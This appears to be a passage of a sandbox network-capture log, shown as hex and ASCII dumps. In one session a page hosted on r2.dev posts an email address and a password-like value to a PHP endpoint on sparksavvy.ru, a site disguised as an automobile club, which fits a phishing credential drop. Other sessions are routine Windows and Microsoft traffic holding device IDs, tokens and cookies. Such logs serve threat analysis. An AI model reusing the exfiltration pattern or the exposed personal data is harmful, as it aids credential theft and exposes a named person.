20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 Data Ascii: st and greatest in supercar technology, performance, and design.</p> <a href="https://sparksavvy.ru/#modern-supercars" class="btn btn-primary"><i class="fas fa-chevron-right"></i> Read More</a> </div>
2024-10-10 16:00:34 UTC	677	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 70 72 69 76 61 63 79 22 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 6c 69 67 68 74 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 75 73 65 72 2d 73 65 63 72 65 74 22 3e 3c 2f 69 3e 20 50 72 69 76 61 63 79 3c 2f 61 3e 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6c 69 73 74 2d 69 6e 6c 69 6e 65 2d 69 74 65 6d 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 74 65 72 6d 73 22 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 6c 69 67 68 Data Ascii: <a href="https://sparksavvy.ru/#privacy" class="text-light"><i class="fas fa-user-secret"></i> Privacy</a> </li> <li class="list-inline-item"> <a href="https://sparksavvy.ru/#terms" class="text-ligh
2024-10-10 16:00:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	49742	104.21.48.11	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:43 UTC	736	OUT	POST ///7140.php HTTP/1.1 Host: sparksavvy.ru Connection: keep-alive Content-Length: 105 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-6e969b0e21134bcf850bbff9bd28a4e5.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:43 UTC	105	OUT	Data Raw: 64 6f 3d 6c 65 26 65 6d 3d 72 61 63 68 65 6c 2e 61 6e 64 65 72 73 6f 6e 25 34 30 61 6d 65 72 69 63 61 6e 73 69 67 6e 61 74 75 72 65 2e 63 6f 6d 26 70 78 3d 67 73 66 67 66 73 66 67 26 73 65 63 3d 71 31 59 71 4c 73 35 58 73 73 6f 72 7a 63 6e 52 55 53 6f 70 55 4c 4a 53 79 6b 39 4c 55 36 6f 46 41 41 25 33 44 25 33 44 Data Ascii: do=le&em=rachel.anderson%40americansignature.com&px=gsfgfsfg&sec=q1YqLs5XssorzcnRUSopULJSyk9LU6oFAA%3D%3D
2024-10-10 16:00:46 UTC	770	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 16:00:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * cache-control: no-store, no-cache, must-revalidate, max-age=0 pragma: no-cache expires: Wed, 11 Jan 1984 05:00:00 GMT vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XiMbb7XDK6mdeS%2FwIzA25iMZAqWEqOX87hzSIijo0ngapNMaXbDAWJrCWlF5rTR4ZgiZBUcp9rb6RD4nLf%2B43djj%2F6hahtViHbGiykNo6FIl3tZ3R2yQfXBxu3NJfwAI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d07d32ecc1719ff-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 16:00:46 UTC	36	IN	Data Raw: 31 65 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 30 22 2c 22 6d 65 73 73 61 67 65 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: 1e{"status":"0","message":false}
2024-10-10 16:00:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	49744	104.21.48.11	443	5760	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:47 UTC	347	OUT	GET ///7140.php HTTP/1.1 Host: sparksavvy.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-10 16:00:48 UTC	811	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 16:00:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/7.3.33 access-control-allow-origin: * cache-control: no-store, no-cache, must-revalidate, max-age=0 pragma: no-cache expires: Wed, 11 Jan 1984 05:00:00 GMT vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cJR5OQpWpi6w5AcfqBn12ihkonisKVFCxN1hqwxvNNiysoGTVh7%2Bt3nbRMcW4KDMwER0MRvO25O5ZTtHp1jug3YAMm973orEGFg2Dnf%2FA4z4MacCQ8Opu2V1GwCj0qxo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8d07d34ade3d41e0-EWR alt-svc: h3=":443"; ma=86400
2024-10-10 16:00:48 UTC	558	IN	Data Raw: 31 61 32 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 2c 20 6e 6f 73 6e 69 70 70 65 74 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 75 74 6f 6d 6f 62 69 6c 65 20 48 69 73 74 Data Ascii: 1a25<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noarchive, nosnippet, noindex, nofollow"> <title>Automobile Hist
2024-10-10 16:00:48 UTC	1369	IN	Data Raw: 64 2d 6c 67 20 6e 61 76 62 61 72 2d 64 61 72 6b 20 62 67 2d 64 61 72 6b 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 63 61 72 22 3e 3c 2f 69 3e 20 41 75 74 6f 6d 6f 62 69 6c 65 20 48 69 73 74 6f 72 79 20 43 6c 75 62 20 0d 0a 20 20 20 20 20 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 74 6f 67 67 6c 65 72 22 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 64 Data Ascii: d-lg navbar-dark bg-dark"> <div class="container"> <a class="navbar-brand" href="https://sparksavvy.ru/#"> <i class="fas fa-car"></i> Automobile History Club </a> <button class="navbar-toggler" type="button" d
2024-10-10 16:00:48 UTC	1369	IN	Data Raw: 76 3e 0d 0a 3c 2f 6e 61 76 3e 0d 0a 0d 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 72 6f 20 62 67 2d 64 61 72 6b 20 74 65 78 74 2d 6c 69 67 68 74 20 74 65 78 74 2d 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 35 30 70 78 3b 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 35 30 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 74 68 2e 62 69 6e 67 2e 63 6f 6d 2f 74 68 2f 69 64 2f 4f 49 50 2e 6c 4d 68 39 6c 50 49 72 44 32 4d 68 79 4c 63 6e 6a 44 62 74 41 51 48 61 45 37 27 29 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0d 0a 20 20 20 20 Data Ascii: v></nav><div class="hero bg-dark text-light text-center" style="padding-top: 150px; padding-bottom: 50px; background-image: url('https://th.bing.com/th/id/OIP.lMh9lPIrD2MhyLcnjDbtAQHaE7'); background-size: cover; background-position: center;">
2024-10-10 16:00:48 UTC	1369	IN	Data Raw: 65 72 74 61 69 6e 2c 20 75 6e 63 6c 61 64 2c 20 61 6e 64 20 69 6e 63 6f 6d 70 6c 65 74 65 2e 20 2d 20 4d 61 72 73 68 61 6c 6c 20 4d 63 4c 75 68 61 6e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 71 75 6f 74 65 2d 72 69 67 68 74 22 3e 3c 2f 69 3e 3c 2f 70 3e 20 0d 0a 20 20 20 20 20 20 20 20 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 0d 0a 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 70 79 2d 35 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 Data Ascii: ertain, unclad, and incomplete. - Marshall McLuhan <i class="fas fa-quote-right"></i></p> </blockquote> </div></section><section class="py-5 text-center"> <div class="container"> <div class="row"> <div class
2024-10-10 16:00:48 UTC	1369	IN	Data Raw: 61 74 65 73 74 20 69 6e 20 73 75 70 65 72 63 61 72 20 74 65 63 68 6e 6f 6c 6f 67 79 2c 20 70 65 72 66 6f 72 6d 61 6e 63 65 2c 20 61 6e 64 20 64 65 73 69 67 6e 2e 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 6d 6f 64 65 72 6e 2d 73 75 70 65 72 63 61 72 73 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 63 68 65 76 72 6f 6e 2d 72 69 67 68 74 22 3e 3c 2f 69 3e 20 52 65 61 64 20 4d 6f 72 65 3c 2f 61 3e 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: atest in supercar technology, performance, and design.</p> <a href="https://sparksavvy.ru/#modern-supercars" class="btn btn-primary"><i class="fas fa-chevron-right"></i> Read More</a> </div>
2024-10-10 16:00:48 UTC	667	IN	Data Raw: 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 70 72 69 76 61 63 79 22 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 6c 69 67 68 74 22 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 66 61 2d 75 73 65 72 2d 73 65 63 72 65 74 22 3e 3c 2f 69 3e 20 50 72 69 76 61 63 79 3c 2f 61 3e 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6c 69 73 74 2d 69 6e 6c 69 6e 65 2d 69 74 65 6d 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 70 61 72 6b 73 61 76 76 79 2e 72 75 2f 23 74 65 72 6d 73 22 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 6c 69 67 68 74 22 3e 3c 69 20 63 6c 61 73 Data Ascii: <a href="https://sparksavvy.ru/#privacy" class="text-light"><i class="fas fa-user-secret"></i> Privacy</a> </li> <li class="list-inline-item"> <a href="https://sparksavvy.ru/#terms" class="text-light"><i clas
2024-10-10 16:00:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	49746	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:55 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Zm3gm9bC7FsE3Ep&MD=r81BdaDm HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-10 16:00:55 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 1e16818b-8789-4c26-8dd4-37a32c4271aa MS-RequestId: a6fec912-aa5e-4de1-b793-8e48f53f8ef2 MS-CV: fSjH9KqVWUmz1mwC.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 10 Oct 2024 16:00:54 GMT Connection: close Content-Length: 30005
2024-10-10 16:00:55 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-10 16:00:55 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.17	49747	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:58 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4808 Host: login.live.com
2024-10-10 16:00:58 UTC	4808	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-10 16:00:59 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 10 Oct 2024 15:59:58 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_SN1 x-ms-request-id: b427a458-8535-481c-aec0-177becd0dcbc PPServer: PPV: 30 H: SN1PEPF0002F1B4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 10 Oct 2024 16:00:58 GMT Connection: close Content-Length: 11177
2024-10-10 16:00:59 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.17	49748	13.107.5.88	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:59 UTC	537	OUT	GET /ab HTTP/1.1 Host: evoke-windowsservices-tas.msedge.net Cache-Control: no-store, no-cache X-PHOTOS-CALLERID: 9NMPJ99VJBWV X-EVOKE-RING: X-WINNEXT-RING: Public X-WINNEXT-TELEMETRYLEVEL: Basic X-WINNEXT-OSVERSION: 10.0.19045.0 X-WINNEXT-APPVERSION: 1.23082.131.0 X-WINNEXT-PLATFORM: Desktop X-WINNEXT-CANTAILOR: False X-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd} X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI= If-None-Match: 2056388360_-1434155563 Accept-Encoding: gzip, deflate, br
2024-10-10 16:00:59 UTC	209	IN	HTTP/1.1 400 Bad Request X-MSEdge-Ref: Ref A: 5D9EEDCDCAF944F38731819495EC8EA1 Ref B: EWR311000106047 Ref C: 2024-10-10T16:00:59Z Date: Thu, 10 Oct 2024 16:00:59 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.17	49749	184.86.251.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 16:00:59 UTC	2579	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: -240 X-DeviceID: 01000A41090080B6 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDoAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAbQojQilLHmW0JNjiZck74cOv7Lz0PQvunyWdgssJLzjuafsIRbfv/fcfEPG23/0XQPVZ4zV8HaOzFAtLKjjk3PLo8dcBUN9yjW1pQDDJNUgKXY5rJZ9%2BZELhDxed15YkC%2BxujwWWT2EYT3H1yTI1uZRwXb%2BSBXCRQMnbK52n0zPLS/tw/57UoBNshMv1VtaQri/P%2Bb3nYk6y/tpcULjy3vLo5X4fgNkhdk/98SpWiylY9PC99pFq/C/EZBkHwbfT3sogZjUKjgxdTyqH8x0eZvoFmTO4lkc/MNUO0zoiDMJNf2HPoTNw2Qj21ELz1iks4YjK/xciQMeo%2BOHICzCbxoQZgAAEHpoJTZSgBJjJkitOD3zOtiwAV7Ry38zpqf7MlGyjp5sQsntr7bARdiR%2Bl2kXMlKqu7W7v3fS8x4XHq7lsUpH7bACESF8gfB1ALfQLTUtktUtVYsPqv38KHqQVl5zo4I5bVo/OJhcIVH2QXCSO/8OIKpRKG5KQjGeX2iMI/p4QtPulCQQmj76GoDCnZFNGw8zinUUXukZFT2KdExti8XskVpu%2BgCoqH1XC0TATN3AC%2B6xR0iMYA72tvKb5MfpdnKhETcD3wLED7IPsZSM54YwUQUzATQICLuGvBWOQTjnJgoSVfDCbbZd02ABFb56c78/1wZ8vgHBoZxw424g46LDZ1SxdhvbSzO6/XqaZiMDHmYsX9NDROOnJEP3BATrTvQjj3lU16oJLnkUoGUUC4BgALyu0mh7nlJjrk/XJiwIvvdwN7i6DitNkfc8iGQA%2BU7tInpjvxvrvnTrlwrpH0hPXLp%2BPmhSyZTUkA0qd50DV0MDqM7/WztdkoD6wRRaw/QOu8lDLG1SxO39QCS%2BzylmJQQpW1hbi8CDe/tSlz27B/YpOc51xZD7owCk9cfWwjDDP/nGPuCaENXWgF [TRUNCATED] X-Agent-DeviceId: 01000A41090080B6 X-BM-CBT: 1728576056 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: 5681479170724894829C6F9FE9D561EA X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
